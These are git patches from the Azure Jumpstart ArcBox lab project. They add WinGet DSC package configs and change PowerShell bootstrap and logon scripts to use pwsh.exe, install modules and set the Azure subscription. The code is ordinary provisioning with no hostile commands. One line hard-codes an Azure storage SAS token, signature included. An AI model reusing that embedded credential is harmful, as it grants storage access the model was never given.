allowPrerelease: true + settings: + id: Helm.Helm + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: Microsoft.Sysinternals.BGInfo + directives: + description: Install Sysinternals BGInfo + allowPrerelease: true + settings: + id: Microsoft.Sysinternals.BGInfo + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: OpenSSL + directives: + description: Install OpenSSL + allowPrerelease: true + settings: + id: FireDaemon.OpenSSL + source: winget + - resource: PSDscResources/WindowsFeature + id: Hyper-V + directives: + description: Install Hyper-V + settings: + Name: Hyper-V + Ensure: Present + - resource: HyperVDsc/VMHost + id: VMHost + directives: + description: Configure VM Host settings + settings: + IsSingleInstance: Yes + EnableEnhancedSessionMode: True + configurationVersion: 0.2.0 \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml new file mode 100644 index 0000000000..86bd3f2de5 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/dsc/dataops.dsc.yml @@ -0,0 +1,53 @@ +# yaml-language-server: $schema=https://aka.ms/configuration-dsc-schema/0.2 +properties: + + resources: + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: kubectl + directives: + description: Install kubectl + allowPrerelease: true + settings: + id: Kubernetes.kubectl + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: kubectx + directives: + description: Install kubectx + allowPrerelease: true + settings: + id: ahmetb.kubectx + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: DotNetSDK7 + directives: + description: Install Microsoft DotNet SDK 7 + allowPrerelease: true + settings: + id: Microsoft.DotNet.SDK.7 + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: SQLServerManagementStudio + directives: + description: Install Microsoft SQL Server Management Studio + allowPrerelease: true + settings: + id: Microsoft.SQLServerManagementStudio + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: Microsoft.Azure.DataCLI + directives: + description: Install Microsoft Azure Data CLI + allowPrerelease: true + settings: + id: Microsoft.Azure.DataCLI + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: Microsoft.AzureDataStudio + directives: + description: Install Microsoft Azure Data Studio + allowPrerelease: true + settings: + id: Microsoft.AzureDataStudio + source: winget + configurationVersion: 0.2.0 \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/dsc/devops.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/devops.dsc.yml new file mode 100644 index 0000000000..ded57fe8cc --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/dsc/devops.dsc.yml @@ -0,0 +1,37 @@ +# yaml-language-server: $schema=https://aka.ms/configuration-dsc-schema/0.2 +properties: + + resources: + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: kubectl + directives: + description: Install kubectl + allowPrerelease: true + settings: + id: Kubernetes.kubectl + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: kubectx + directives: + description: Install kubectx + allowPrerelease: true + settings: + id: ahmetb.kubectx + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: DotNetSDK7 + directives: + description: Install Microsoft DotNet SDK 7 + allowPrerelease: true + settings: + id: Microsoft.DotNet.SDK.7 + source: winget + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: helm + directives: + description: Install Helm + allowPrerelease: true + settings: + id: Helm.Helm + source: winget + configurationVersion: 0.2.0 \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml b/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml new file mode 100644 index 0000000000..ff917f2c8b --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/dsc/itpro.dsc.yml @@ -0,0 +1,14 @@ +# yaml-language-server: $schema=https://aka.ms/configuration-dsc-schema/0.2 +properties: + + resources: + - resource: Microsoft.WinGet.DSC/WinGetPackage + id: terraform + directives: + description: Install Terraform + allowPrerelease: true + settings: + id: Hashicorp.Terraform + source: winget + + configurationVersion: 0.2.0 \ No newline at end of file diff --git a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep index 342e3fae4c..e047f07b70 100644 --- a/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep +++ b/azure_jumpstart_arcbox/bicep/clientVm/clientVm.bicep @@ -183,7 +183,7 @@ resource vmBootstrap 'Microsoft.Compute/virtualMachines/extensions@2022-03-01' = name: 'Bootstrap' location: location tags: { - displayName: 'config-choco' + displayName: 'config-bootstrap' } properties: { publisher: 'Microsoft.Compute' From 5acadaa84bd9b5e6d6063f16fbe65fbb3cc31bce Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 12 Dec 2023 13:56:34 +0000 Subject: [PATCH 005/456] Disabled trigger for MonitorWorkbookLogonScript - needs to run after WinGet has installed Az CLI Signed-off-by: Jan Egil Ring --- .../artifacts/Bootstrap.ps1 | 21 ++++++++++--------- 1 file changed, 11 insertions(+), 10 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 2d4b73b8d0..8192da10e6 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -299,26 +299,28 @@ if (($rdpPort -ne $null) -and ($rdpPort -ne "") -and ($rdpPort -ne "3389")) Write-Header "Configuring Logon Scripts" +$ScheduledTaskExecutable = "pwsh.exe" + # Creating scheduled task for WinGet.ps1 $Trigger = New-ScheduledTaskTrigger -AtLogOn -$Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\WinGet.ps1 +$Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\WinGet.ps1 Register-ScheduledTask -TaskName "WinGetLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force if ($flavor -eq "Full" -Or $flavor -eq "ITPro") { # Creating scheduled task for ArcServersLogonScript.ps1 - $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\ArcServersLogonScript.ps1 + $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\ArcServersLogonScript.ps1 Register-ScheduledTask -TaskName "ArcServersLogonScript" -User $adminUsername -Action $Action -RunLevel "Highest" -Force } if ($flavor -eq "Full") { # Creating scheduled task for DataServicesLogonScript.ps1 - $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\DataServicesLogonScript.ps1 + $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\DataServicesLogonScript.ps1 Register-ScheduledTask -TaskName "DataServicesLogonScript" -User $adminUsername -Action $Action -RunLevel "Highest" -Force } if ($flavor -eq "DevOps") { # Creating scheduled task for DevOpsLogonScript.ps1 - $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\DevOpsLogonScript.ps1 + $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\DevOpsLogonScript.ps1 Register-ScheduledTask -TaskName "DevOpsLogonScript" -User $adminUsername -Action $Action -RunLevel "Highest" -Force } @@ -341,7 +343,7 @@ if ($flavor -eq "DataOps") { # Creating scheduled task for DataOpsLogonScript.ps1 # Register schedule task to run after system reboot # schedule task to run after reboot to create reverse DNS lookup - $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:ArcBoxDir\RunAfterClientVMADJoin.ps1" + $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument "$Env:ArcBoxDir\RunAfterClientVMADJoin.ps1" Register-ScheduledTask -TaskName "RunAfterClientVMADJoin" -User SYSTEM -Action $Action -RunLevel "Highest" -Force Write-Host "Registered scheduled task 'RunAfterClientVMADJoin' to run after Client VM AD join." @@ -361,7 +363,7 @@ if ($flavor -eq "DataOps") { # Clean up Bootstrap.log Stop-Transcript - $logSuppress = Get-Content $bootstrapLogFile | Where-Object { $_ -notmatch "Host Application: pwsh.exe" } + $logSuppress = Get-Content $bootstrapLogFile | Where-Object { $_ -notmatch "Host Application: $ScheduledTaskExecutable" } $logSuppress | Set-Content $bootstrapLogFile -Force # Restart computer @@ -370,9 +372,8 @@ if ($flavor -eq "DataOps") { else { # Creating scheduled task for MonitorWorkbookLogonScript.ps1 - $Trigger = New-ScheduledTaskTrigger -AtLogOn - $Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument $Env:ArcBoxDir\MonitorWorkbookLogonScript.ps1 - Register-ScheduledTask -TaskName "MonitorWorkbookLogonScript" -Trigger $Trigger -User $adminUsername -Action $Action -RunLevel "Highest" -Force + $Action = New-ScheduledTaskAction -Execute $ScheduledTaskExecutable -Argument $Env:ArcBoxDir\MonitorWorkbookLogonScript.ps1 + Register-ScheduledTask -TaskName "MonitorWorkbookLogonScript" -User $adminUsername -Action $Action -RunLevel "Highest" -Force # Disabling Windows Server Manager Scheduled Task Get-ScheduledTask -TaskName ServerManager | Disable-ScheduledTask @@ -388,6 +389,6 @@ else { # Clean up Bootstrap.log Write-Host "Clean up Bootstrap.log" Stop-Transcript - $logSuppress = Get-Content $Env:ArcBoxLogsDir\Bootstrap.log | Where-Object { $_ -notmatch "Host Application: pwsh.exe" } + $logSuppress = Get-Content $Env:ArcBoxLogsDir\Bootstrap.log | Where-Object { $_ -notmatch "Host Application: $ScheduledTaskExecutable" } $logSuppress | Set-Content $Env:ArcBoxLogsDir\Bootstrap.log -Force } From 38112ded50087b6405365d7e6f2272da42f78790 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 12 Dec 2023 20:56:31 +0000 Subject: [PATCH 006/456] Replaced references to powershell.exe with pwsh.exe Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 36 +++++++++---------- .../artifacts/DataOpsLogonScript.ps1 | 28 +++++++-------- .../artifacts/DataServicesLogonScript.ps1 | 26 +++++++------- .../artifacts/DevOpsLogonScript.ps1 | 32 ++++++++--------- .../artifacts/RunAfterClientVMADJoin.ps1 | 6 ++-- 5 files changed, 64 insertions(+), 64 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index 30471a1085..ad71c96511 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -69,7 +69,7 @@ if ($Env:flavor -ne "DevOps") { # Create an internal switch with NAT Write-Host "Creating Internal vSwitch" $switchName = 'InternalNATSwitch' - + # Verify if internal switch is already created, if not create a new switch $inernalSwitch = Get-VMSwitch if ($inernalSwitch.Name -ne $switchName) { @@ -291,25 +291,25 @@ if ($Env:flavor -ne "DevOps") { Write-Host "Enabling SQL server best practices assessment" $bpaDeploymentTemplateUrl = "$Env:templateBaseUrl/artifacts/sqlbpa.json" az deployment group create --resource-group $resourceGroup --template-uri $bpaDeploymentTemplateUrl --parameters workspaceName=$Env:workspaceName vmName=$SQLvmName arcSubscriptionId=$subscriptionId - + # Run Best practices assessment Write-Host "Execute SQL server best practices assessment" - + # Wait for a minute to finish everyting and run assessment Start-Sleep(60) - + # Get access token to make ARM REST API call for SQL server BPA $armRestApiEndpoint = "https://management.azure.com/subscriptions/$subscriptionId/resourcegroups/$resourceGroup/providers/Microsoft.HybridCompute/machines/$SQLvmName/extensions/WindowsAgent.SqlServer?api-version=2019-08-02-preview" $token = (az account get-access-token --subscription $subscriptionId --query accessToken --output tsv) $headers = @{"Authorization" = "Bearer $token"; "Content-Type" = "application/json" } - + # Build API request payload $worspaceResourceId = "/subscriptions/$subscriptionId/resourcegroups/$resourceGroup/providers/microsoft.operationalinsights/workspaces/$Env:workspaceName".ToLower() $sqlExtensionId = "/subscriptions/$subscriptionId/resourceGroups/$resourceGroup/providers/Microsoft.HybridCompute/machines/$SQLvmName/extensions/WindowsAgent.SqlServer" $sqlbpaPayloadTemplate = "$Env:templateBaseUrl/artifacts/sqlbpa.payload.json" $settingsSaveTime = [DateTimeOffset]::UtcNow.ToUnixTimeSeconds() $apiPayload = (Invoke-WebRequest -Uri $sqlbpaPayloadTemplate).Content -replace '{{RESOURCEID}}', $sqlExtensionId -replace '{{LOCATION}}', $azureLocation -replace '{{WORKSPACEID}}', $worspaceResourceId -replace '{{SAVETIME}}', $settingsSaveTime - + # Call REST API to run best practices assessment $httpResp = Invoke-WebRequest -Method Patch -Uri $armRestApiEndpoint -Body $apiPayload -Headers $headers if (($httpResp.StatusCode -eq 200) -or ($httpResp.StatusCode -eq 202)){ @@ -481,23 +481,23 @@ Write-Host "Creating deployment logs bundle" # Changing to Jumpstart ArcBox wallpaper # Changing to Client VM wallpaper $imgPath = "$Env:ArcBoxDir\wallpaper.png" -$code = @' -using System.Runtime.InteropServices; -namespace Win32{ - - public class Wallpaper{ - [DllImport("user32.dll", CharSet=CharSet.Auto)] - static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; - - public static void SetWallpaper(string thePath){ - SystemParametersInfo(20,0,thePath,3); +$code = @' +using System.Runtime.InteropServices; +namespace Win32{ + + public class Wallpaper{ + [DllImport("user32.dll", CharSet=CharSet.Auto)] + static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; + + public static void SetWallpaper(string thePath){ + SystemParametersInfo(20,0,thePath,3); } } -} +} '@ # Set wallpaper image based on the ArcBox Flavor deployed -$DataServicesLogonScript = Get-WmiObject win32_process -filter 'name="powershell.exe"' | Select-Object CommandLine | ForEach-Object { $_ | Select-String "DataServicesLogonScript.ps1" } +$DataServicesLogonScript = Get-WmiObject win32_process -filter 'name="pwsh.exe"' | Select-Object CommandLine | ForEach-Object { $_ | Select-String "DataServicesLogonScript.ps1" } if (-not $DataServicesLogonScript) { Write-Header "Changing Wallpaper" $imgPath = "$Env:ArcBoxDir\wallpaper.png" diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index 8683b922db..002ac6aa8f 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -183,7 +183,7 @@ foreach ($cluster in $clusters) { $cluster = $using:cluster $context = $cluster.context Start-Transcript -Path "$Env:ArcBoxLogsDir\DataController-$context.log" - + az k8s-extension create --name arc-data-services ` --extension-type microsoft.arcdataservices ` --cluster-type connectedClusters ` @@ -320,22 +320,22 @@ Stop-Process -Id $kubectlMonShellAKS.Id Stop-Process -Id $kubectlMonShellAKSDr.Id # Changing to Jumpstart ArcBox wallpaper -$code = @' -using System.Runtime.InteropServices; -namespace Win32{ - - public class Wallpaper{ - [DllImport("user32.dll", CharSet=CharSet.Auto)] - static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; - - public static void SetWallpaper(string thePath){ - SystemParametersInfo(20,0,thePath,3); +$code = @' +using System.Runtime.InteropServices; +namespace Win32{ + + public class Wallpaper{ + [DllImport("user32.dll", CharSet=CharSet.Auto)] + static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; + + public static void SetWallpaper(string thePath){ + SystemParametersInfo(20,0,thePath,3); } } - } + } '@ -$ArcServersLogonScript = Get-WmiObject win32_process -filter 'name="powershell.exe"' | Select-Object CommandLine | ForEach-Object { $_ | Select-String "ArcServersLogonScript.ps1" } +$ArcServersLogonScript = Get-WmiObject win32_process -filter 'name="pwsh.exe"' | Select-Object CommandLine | ForEach-Object { $_ | Select-String "ArcServersLogonScript.ps1" } if (-not $ArcServersLogonScript) { Write-Header "Changing Wallpaper" @@ -354,7 +354,7 @@ Start-Sleep -Seconds 5 # Executing the deployment logs bundle PowerShell script in a new window Write-Header "Uploading Log Bundle" -Invoke-Expression 'cmd /c start Powershell -Command { +Invoke-Expression 'cmd /c start Powershell -Command { $RandomString = -join ((48..57) + (97..122) | Get-Random -Count 6 | % {[char]$_}) Write-Host "Sleeping for 5 seconds before creating deployment logs bundle..." Start-Sleep -Seconds 5 diff --git a/azure_jumpstart_arcbox/artifacts/DataServicesLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataServicesLogonScript.ps1 index f381e7dcc3..181886c643 100644 --- a/azure_jumpstart_arcbox/artifacts/DataServicesLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataServicesLogonScript.ps1 @@ -113,7 +113,7 @@ Do { Write-Host "Bootstrapper pod is ready!" Write-Host "`n" -# Configuring Azure Arc Custom Location on the cluster +# Configuring Azure Arc Custom Location on the cluster Write-Header "Configuring Azure Arc Custom Location" $connectedClusterId = az connectedk8s show --name $connectedClusterName --resource-group $Env:resourceGroup --query id -o tsv $extensionId = az k8s-extension show --name arc-data-services --cluster-type connectedClusters --cluster-name $connectedClusterName --resource-group $Env:resourceGroup --query id -o tsv @@ -213,22 +213,22 @@ $Favorite.Save() Stop-Process -Id $kubectlMonShell.Id # Changing to Jumpstart ArcBox wallpaper -$code = @' -using System.Runtime.InteropServices; -namespace Win32{ - - public class Wallpaper{ - [DllImport("user32.dll", CharSet=CharSet.Auto)] - static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; - - public static void SetWallpaper(string thePath){ - SystemParametersInfo(20,0,thePath,3); +$code = @' +using System.Runtime.InteropServices; +namespace Win32{ + + public class Wallpaper{ + [DllImport("user32.dll", CharSet=CharSet.Auto)] + static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; + + public static void SetWallpaper(string thePath){ + SystemParametersInfo(20,0,thePath,3); } } - } + } '@ -$ArcServersLogonScript = Get-WmiObject win32_process -filter 'name="powershell.exe"' | Select-Object CommandLine | ForEach-Object { $_ | Select-String "ArcServersLogonScript.ps1" } +$ArcServersLogonScript = Get-WmiObject win32_process -filter 'name="pwsh.exe"' | Select-Object CommandLine | ForEach-Object { $_ | Select-String "ArcServersLogonScript.ps1" } if(-not $ArcServersLogonScript) { Write-Header "Changing Wallpaper" diff --git a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 index c1dcebf096..7d6125a28a 100644 --- a/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DevOpsLogonScript.ps1 @@ -131,7 +131,7 @@ foreach ($namespace in @('bookstore', 'bookbuyer', 'bookwarehouse', 'hello-arc', Write-Header "Adding Bookstore Namespaces to OSM" osm namespace add bookstore bookbuyer bookwarehouse -# To be able to discover the endpoints of this service, we need OSM controller to monitor the corresponding namespace. +# To be able to discover the endpoints of this service, we need OSM controller to monitor the corresponding namespace. # However, Nginx must NOT be injected with an Envoy sidecar to function properly. osm namespace add "$ingressNamespace" --mesh-name "$osmMeshName" --disable-sidecar-injection @@ -299,34 +299,34 @@ $shortcut.Save() $shortcutLocation = "$Env:Public\Desktop\CAPI Bookstore.lnk" $wScriptShell = New-Object -ComObject WScript.Shell $shortcut = $wScriptShell.CreateShortcut($shortcutLocation) -$shortcut.TargetPath = "powershell.exe" +$shortcut.TargetPath = "pwsh.exe" $shortcut.Arguments = "-ExecutionPolicy Bypass -File $Env:ArcBoxDir\BookStoreLaunch.ps1" $shortcut.IconLocation="$Env:ArcBoxIconDir\bookstore.ico, 0" $shortcut.WindowStyle = 7 $shortcut.Save() # Changing to Jumpstart ArcBox wallpaper -$code = @' -using System.Runtime.InteropServices; -namespace Win32{ - - public class Wallpaper{ - [DllImport("user32.dll", CharSet=CharSet.Auto)] - static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; - - public static void SetWallpaper(string thePath){ - SystemParametersInfo(20,0,thePath,3); +$code = @' +using System.Runtime.InteropServices; +namespace Win32{ + + public class Wallpaper{ + [DllImport("user32.dll", CharSet=CharSet.Auto)] + static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; + + public static void SetWallpaper(string thePath){ + SystemParametersInfo(20,0,thePath,3); } } - } + } '@ -$ArcServersLogonScript = Get-WmiObject win32_process -filter 'name="powershell.exe"' | Select-Object CommandLine | ForEach-Object { $_ | Select-String "ArcServersLogonScript.ps1" } +$ArcServersLogonScript = Get-WmiObject win32_process -filter 'name="pwsh.exe"' | Select-Object CommandLine | ForEach-Object { $_ | Select-String "ArcServersLogonScript.ps1" } if(-not $ArcServersLogonScript) { Write-Header "Changing Wallpaper" $imgPath="$Env:ArcBoxDir\wallpaper.png" - Add-Type $code + Add-Type $code [Win32.Wallpaper]::SetWallpaper($imgPath) } @@ -340,7 +340,7 @@ Start-Sleep -Seconds 5 # Executing the deployment logs bundle PowerShell script in a new window Write-Header "Uploading Log Bundle" -Invoke-Expression 'cmd /c start Powershell -Command { +Invoke-Expression 'cmd /c start Powershell -Command { $RandomString = -join ((48..57) + (97..122) | Get-Random -Count 6 | % {[char]$_}) Write-Host "Sleeping for 5 seconds before creating deployment logs bundle..." Start-Sleep -Seconds 5 diff --git a/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 b/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 index 388b5ec94f..69d56d867f 100644 --- a/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 +++ b/azure_jumpstart_arcbox/artifacts/RunAfterClientVMADJoin.ps1 @@ -28,9 +28,9 @@ $cimsession = New-CimSession -Credential $adminCredential # Creating scheduled task for DataServicesLogonScript.ps1 $Trigger = New-ScheduledTaskTrigger -AtLogOn -User $adminuser -$Action = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "$Env:ArcBoxDir\DataOpsLogonScript.ps1" -$WorkbookAction = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "$Env:ArcBoxDir\MonitorWorkbookLogonScript.ps1" -$nestedSQLAction = New-ScheduledTaskAction -Execute "PowerShell.exe" -Argument "$Env:ArcBoxDir\ArcServersLogonScript.ps1" +$Action = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:ArcBoxDir\DataOpsLogonScript.ps1" +$WorkbookAction = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:ArcBoxDir\MonitorWorkbookLogonScript.ps1" +$nestedSQLAction = New-ScheduledTaskAction -Execute "pwsh.exe" -Argument "$Env:ArcBoxDir\ArcServersLogonScript.ps1" # Register schedule task under local account Register-ScheduledTask -TaskName "DataOpsLogonScript" -Trigger $Trigger -Action $Action -RunLevel "Highest" -CimSession $cimsession -Force From a31e697e6261942b9987b8fd9cf3e6d222f8a532 Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Tue, 12 Dec 2023 21:07:48 +0000 Subject: [PATCH 007/456] Added PowerShell module installations Signed-off-by: Jan Egil Ring --- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 index 8192da10e6..d47754fa43 100644 --- a/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 +++ b/azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 @@ -108,9 +108,15 @@ Invoke-WebRequest ($templateBaseUrl + "artifacts/PSProfile.ps1") -OutFile $PsHom Write-Host "Extending C:\ partition to the maximum size" Resize-Partition -DriveLetter C -Size $(Get-PartitionSupportedSize -DriveLetter C).SizeMax -# Installing Posh-SSH PowerShell Module +# Installing PowerShell Modules Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force -Install-Module -Name Posh-SSH -Force + +Install-Module -Name Microsoft.PowerShell.PSResourceGet -Force +$modules = @("Az", "Az.ConnectedMachine", "Posh-SSH", "Pester") + +foreach ($module in $modules) { + Install-PSResource -Name $module -Scope AllUsers -Quiet -AcceptLicense -TrustRepository +} # Installing DHCP service Write-Output "Installing DHCP service" From 9501adc3db3d3b07bafc662de611f0170bd7fd84 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 19 Dec 2023 16:41:14 +0200 Subject: [PATCH 008/456] Add Azure CLI command to set subscription ID This commit adds a new Azure CLI command to set the subscription ID in the DataOpsLogonScript.ps1 and installCAPI.sh scripts. This ensures that the correct subscription is used for subsequent commands. --- azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 | 1 + azure_jumpstart_arcbox/artifacts/installCAPI.sh | 2 ++ 2 files changed, 3 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index 002ac6aa8f..b60cb1d433 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -33,6 +33,7 @@ Connect-AzAccount -Credential $psCred -TenantId $Env:spnTenantId -ServicePrincip # Required for CLI commands Write-Header "Az CLI Login" az login --service-principal --username $Env:spnClientID --password $Env:spnClientSecret --tenant $Env:spnTenantId +az account set -s $Env:subscriptionId # Register Azure providers Write-Header "Registering Providers" diff --git a/azure_jumpstart_arcbox/artifacts/installCAPI.sh b/azure_jumpstart_arcbox/artifacts/installCAPI.sh index f981548505..b40e11e971 100644 --- a/azure_jumpstart_arcbox/artifacts/installCAPI.sh +++ b/azure_jumpstart_arcbox/artifacts/installCAPI.sh @@ -53,6 +53,8 @@ sudo -u $adminUsername az extension add --name k8s-extension echo "Log in to Azure" sudo -u $adminUsername az login --service-principal --username $SPN_CLIENT_ID --password $SPN_CLIENT_SECRET --tenant $SPN_TENANT_ID subscriptionId=$(sudo -u $adminUsername az account show --query id --output tsv) +sudo -u $adminUsername az account set -s $subscriptionId + export AZURE_RESOURCE_GROUP=$(sudo -u $adminUsername az resource list --query "[?name=='$stagingStorageAccountName']".[resourceGroup] --resource-type "Microsoft.Storage/storageAccounts" -o tsv) az -v echo "" From e90c4f5fd84dc2f2de0d674f37be1068c7d67b7c Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 19 Dec 2023 17:11:30 +0200 Subject: [PATCH 009/456] Add subscription ID retrieval and set active subscription --- azure_jumpstart_arcbox/artifacts/installK3s.sh | 3 +++ 1 file changed, 3 insertions(+) diff --git a/azure_jumpstart_arcbox/artifacts/installK3s.sh b/azure_jumpstart_arcbox/artifacts/installK3s.sh index 2961029e8f..0417b1c1ce 100644 --- a/azure_jumpstart_arcbox/artifacts/installK3s.sh +++ b/azure_jumpstart_arcbox/artifacts/installK3s.sh @@ -78,6 +78,9 @@ sudo -u $adminUsername az extension add --name k8s-extension echo "" echo "Log in to Azure" sudo -u $adminUsername az login --service-principal --username $SPN_CLIENT_ID --password $SPN_CLIENT_SECRET --tenant $SPN_TENANT_ID +subscriptionId=$(sudo -u $adminUsername az account show --query id --output tsv) +sudo -u $adminUsername az account set -s $subscriptionId + az -v echo "" From 726f3ce3762e91ecc3ea75dddc1a830a4d9aa869 Mon Sep 17 00:00:00 2001 From: Seif Bassem <38246040+sebassem@users.noreply.github.com> Date: Tue, 19 Dec 2023 19:15:56 +0200 Subject: [PATCH 010/456] Update Arc version to 1.18.0 --- azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 index b60cb1d433..fdd62b9550 100644 --- a/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DataOpsLogonScript.ps1 @@ -193,7 +193,7 @@ foreach ($cluster in $clusters) { --auto-upgrade false ` --scope cluster ` --release-namespace arc ` - --version 1.25.0 ` + --version 1.18.0 ` --config Microsoft.CustomLocation.ServiceAccount=sa-bootstrapper Write-Host "`n" From cedca20f404965753d1fb23e4febeb5bae94797e Mon Sep 17 00:00:00 2001 From: Jan Egil Ring Date: Fri, 22 Dec 2023 11:07:18 +0000 Subject: [PATCH 011/456] Added parameter for automatic logon into ArcBox Virtual Machine Signed-off-by: Jan Egil Ring --- .../artifacts/ArcServersLogonScript.ps1 | 16 +++++++++++++++- azure_jumpstart_arcbox/artifacts/Bootstrap.ps1 | 14 +++++++++++++- .../bicep/clientVm/clientVm.bicep | 5 ++++- azure_jumpstart_arcbox/bicep/main.bicep | 4 ++++ 4 files changed, 36 insertions(+), 3 deletions(-) diff --git a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 index ad71c96511..74b458df26 100644 --- a/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 +++ b/azure_jumpstart_arcbox/artifacts/ArcServersLogonScript.ps1 @@ -17,7 +17,7 @@ $resourceGroup = $env:resourceGroup $vhdSourceFolder = "https://jsvhds.blob.core.windows.net/arcbox" $sas = "*?si=ArcBox-RL&spr=https&sv=2022-11-02&sr=c&sig=vg8VRjM00Ya%2FGa5izAq3b0axMpR4ylsLsQ8ap3BhrnA%3D" -# Archive exising log file and crate new one +# Archive existing log file and create new one 